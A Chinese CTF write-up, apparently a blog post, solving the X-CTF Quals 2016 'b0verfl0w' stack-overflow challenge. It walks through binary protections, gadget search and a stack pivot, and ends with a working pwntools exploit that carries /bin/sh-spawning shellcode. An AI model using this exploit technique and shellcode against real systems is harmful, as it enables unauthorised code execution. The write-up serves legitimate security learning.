【Writeup】X-CTF Quals 2016_Pwn_b0verfl0w

原创

BAKUMANSEC 于 2019-09-02 21:55:09 发布 309 收藏

分类专栏： i春秋_Linux pwn入门教程系列 - Writeups 文章标签： Writeup Pwn ROP ret2shellcode Stack Pivot

本文链接：https://blog.csdn.net/m0_38100569/article/details/100389512

0x01 解题思路

- 查看文件信息

```
wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b0verfl0w$
file b0verfl0w
b0verfl0w: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
 linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=9f2d9dc0c9cc5
31c9656e6e84359398dd765b684, not stripped
wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b0verfl0w$
checksec b0verfl0w
[*] '/home/wby/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```


没有开NX，可以向栈上写入shellcode。防护措施只开了一个Partial RELRO，这意味着每次栈加载的地址会变化。

- 拖入IDA 32 bits查看
  main函数里只有一个**vuln**函数

```
signed int vul()
{
  char s; // [esp+18h] [ebp-20h]

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}
```


显然存在栈溢出，但是只能输入50个字节，而填充的padding字段就需要0x20+4=36个字节，再加上EIP，一共40个字节，只有10个字节的shellcode基本找不到，所以需要考虑把shellcode放在payload的起始处，然后通过ROP跳转到输入点处执行shellcode。

在不知道栈的确切地址的情况下，假设把shellcode附在payload的最后，如何获取shellcode地址呢？这里就需要一个简单的gadget：**jmp esp**。因为函数返回时的ret指令相当于pop eip;jmp eip，因此如果将记录返回后eip的内容替换为jmp esp这个gadget的地址，那么就会执行这个语句，而此时的esp刚好指向addr(jmp esp)的下一个位置，也就是跳转到之后栈上的语句执行，这样把shellcode放在此处就可以了。

本题需要增加一个环节，也就是一个简单的**stack pivot**(栈指针劫持)，把addr(jmp exp)之后的内存放上**sub esp,0x28;jmp esp**这两句代码，就可以跳转到输入点执行shellcode了。

- 使用ROPgadget搜索jmp esp

```
wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b0verfl0w$
ROPgadget --binary b0verfl0w | grep esp
0x0804837c : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048609 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804837e : add esp, 8 ; pop ebx ; ret
0x08048502 : and al, 0xc3 ; jmp esp
0x0804849a : and al, 4 ; mov dword ptr [esp], 0x804a02c ; call edx
0x0804837a : bound eax, qword ptr [eax] ; add byte ptr [eax], al ; add esp, 8 ;
pop ebx ; ret
0x08048501 : in al, dx ; and al, 0xc3 ; jmp esp
0x080484ff : in eax, 0x83 ; in al, dx ; and al, 0xc3 ; jmp esp
0x08048504 : jmp esp
```


- 使用pwntools的pwnlib库里的asm/disasm可进行汇编/反汇编

```
wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b0verfl0w$
python -c "from pwn import *;print disasm('\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\
x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80')"
   0:   31 c9                   xor    ecx,ecx
   2:   f7 e1                   mul    ecx
   4:   51                      push   ecx
   5:   68 2f 2f 73 68          push   0x68732f2f
   a:   68 2f 62 69 6e          push   0x6e69622f
   f:   89 e3                   mov    ebx,esp
  11:   b0 0b                   mov    al,0xb
  13:   cd 80                   int    0x80
```

```
wby@wby-virtual-machine:~/Desktop/CTF/Stack Povit/X-CTF Quals 2016 - b0verfl0w$
python -c "from pwn import *;print asm('sub esp,0x28;jmp esp')"
\x83◆(◆◆
```

0x02 EXP

```python
from pwn import *

io = process('./b0verfl0w')

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"

shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"

shellcode += "\x0b\xcd\x80"



sub_esp_jmp = asm('sub esp, 0x28;jmp esp')

jmp_esp_addr = 0x08048504

offset = 0x20
payload = shellcode
payload += 'A'*(offset-len(shellcode))
payload += 'BBBB'
payload += p32(jmp_esp_addr)
payload += p32(sub_esp_jmp)

io.sendline(payload)
io.interactive()
```